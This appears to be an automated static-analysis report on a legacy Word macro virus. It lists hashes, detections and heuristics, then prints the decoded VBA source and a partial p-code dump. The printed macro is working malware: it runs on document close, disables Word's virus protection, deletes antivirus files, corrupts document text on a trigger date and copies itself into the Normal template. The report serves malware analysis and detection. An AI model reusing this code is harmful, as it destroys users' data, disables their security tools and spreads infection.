Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a69b8ddbe700d90d…

MALICIOUS

Office (OLE)

36.5 KB Created: 1999-11-05 16:11:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8c4637b81bb650413064db03405dcb60 SHA-1: 2cf71b8525ee189d4f72ac02b20f1d05a21c344e SHA-256: a69b8ddbe700d90d2f15eb3a6c6ca16ac60c7de7b2c2a4221a7e4442cdb39309
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information T1497.001 System Checks: System Checks

The sample contains a VBA macro with an AutoClose event, indicating it executes automatically when the document is closed. The macro attempts to export itself to 'C:\Gp808.sys', delete common antivirus files, and then re-import itself, suggesting an attempt to evade detection or establish persistence. The presence of the AutoClose macro and the suspicious file operations strongly indicate malicious intent.

Heuristics 7

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • Embedded Office document has suspicious static findings critical EMBEDDED_OFFICE_CHILD_STATIC_TRIAGE
    A CFB/OLE Office document was found inside another file type and its carved contents matched Office exploit or payload heuristics. This catches wrapped exploit documents where the top-level file routes to a PE, archive, or generic scanner instead of Office.
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 27,636 bytes but its declared streams total only 0 bytes — 27,636 bytes (100%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • CFB header with no readable streams medium OLE_PARSE_EMPTY_STREAMS
    The file begins with a valid OLE2/CFB header but exposes no directory streams. A non-empty compound document with an unreadable directory is anomalous — it is seen with truncated/corrupt files and, more importantly, with content deliberately shifted off byte boundaries to defeat parsers while the host application still recovers the object.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7127 bytes
SHA-256: 60d1e3e8cd1ef7227929d27b3413757706689a9897ca5c0f2b167fb5efa0f64f
Detection
ClamAV: Doc.Trojan.VMPCK2-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Gp808"
Sub AutoClose()
On Error Resume Next
WordBasic.DisableAutoMacros 0
ActiveDocument.ReadOnlyRecommended = False
With Application
.EnableCancelKey = wdCancelDisabled
.DisplayAlerts = wdAlertsNone
.ScreenUpdating = False
End With
With Options
.ConfirmConversions = False
.VirusProtection = False
End With
Application.VBE.ActiveVBProject.VBComponents("Gp808").Export "C:\Gp808.sys"
Kill ("C:\PROGRAMME\MCAFEE\VIRUSSCAN\*.*")
Kill ("C:\PROGRAMME\MCAFEE\VIRUSSCAN95\*.*")
Kill ("C:\Programme\Norton Antivirus\V32scan.dll")
Kill ("C:\Programme\Norton Antivirus\Virscan.dat")
Kill ("C:\PROGRAMME\TBAV\TBAV.DAT")
Kill ("C:\TBAV\TBAV.DAT")
Kill ("C:\Programme\Dr Solomon's\Anti-Virus Toolkit\*.*")
If Day(Now()) = 14 And Month(Now()) = 7 Then
Dim a As Variant
Dim b As Variant
Selection.WholeStory
a = Selection
For i = 1 To Len(a)
b = Mid$(a, i, 1)
c = Asc(Mid$(a, i, 1))
d = c + 29
If d > 199 Then c = 30
e$ = e$ + Chr(d)
Next i
Selection.WholeStory
Selection.Cut
WordBasic.Insert e$
End If
Set Nw807 = ActiveDocument.VBProject.VBComponents
Set Ru898 = NormalTemplate.VBProject.VBComponents
For y = 1 To Ru898.Count
If Ru898(y).Name = "Gp808" Then Nw515 = True
Next y
For y = 1 To Nw807.Count
If Nw807(y).Name = "Gp808" Then Ew593 = True
Next y
If Nw515 = True And Ew593 = True Then Exit Sub
If Nw515 = True And Ew593 <> True Then Nw807.Import "c:\Gp808.sys": ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
If Nw515 <> True And Ew593 = True Then Ru898.Import "c:\Gp808.sys": NormalTemplate.Save
End Sub
Sub ExtrasMakro()
End Sub
Sub AnsichtCode()
End Sub
Sub AnsichtVBCode()
End Sub
Sub DateiDokVorlagen()
End Sub
Sub FormatFormatvorlage()
End Sub


' Processing file: /opt/analyzer/scan_staging/ad488a73277147d19bce2b91d341ea2b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/Gp808 - 4081 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld ActiveDocument 
' 	MemSt ReadOnlyRecommended 
' Line #4:
' 	StartWithExpr 
' 	Ld Application 
' 	With 
' Line #5:
' 	Ld wdCancelDisabled 
' 	MemStWith EnableCancelKey 
' Line #6:
' 	Ld wdAlertsNone 
' 	MemStWith DisplayAlerts 
' Line #7:
' 	LitVarSpecial (False)
' 	MemStWith ScreenUpdating 
' Line #8:
' 	EndWith 
' Line #9:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #10:
' 	LitVarSpecial (False)
' 	MemStWith ConfirmConversions 
' Line #11:
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' Line #12:
' 	EndWith 
' Line #13:
' 	LitStr 0x000C "C:\Gp808.sys"
' 	LitStr 0x0005 "Gp808"
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #14:
' 	LitStr 0x0021 "C:\PROGRAMME\MCAFEE\VIRUSSCAN\*.*"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #15:
' 	LitStr 0x0023 "C:\PROGRAMME\MCAFEE\VIRUSSCAN95\*.*"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #16:
' 	LitStr 0x0029 "C:\Programme\Norton Antivirus\V32scan.dll"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #17:
' 	LitStr 0x0029 "C:\Programme\Norton Antivirus\Virscan.dat"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #18:
' 	LitStr 0x001A "C:\PROGRAMME\TBAV\TBAV.DAT"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #19:
' 	LitStr 0x0010 "C:\TBAV\TBAV.DAT"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #20:
' 	LitStr 0x0030 "C:\Programme\Dr Solomon's\Anti-Virus Toolkit\*.*"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #21:
' 	ArgsLd Now 0x0000 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x000E 
' 	Eq 
' 	ArgsLd Now 0x0000 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x0007 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #22:
' 	Dim 
' 	VarDefn a (As Variant)
'
... (truncated)
embedded_office_off0000260c.ole embedded-office Embedded OLE/CFB Office body inside ole container at offset 0x260C 27636 bytes
SHA-256: 8f015d5d32149a30a9979e4e4f24e77a47790979e9e567b122f776485d15742b

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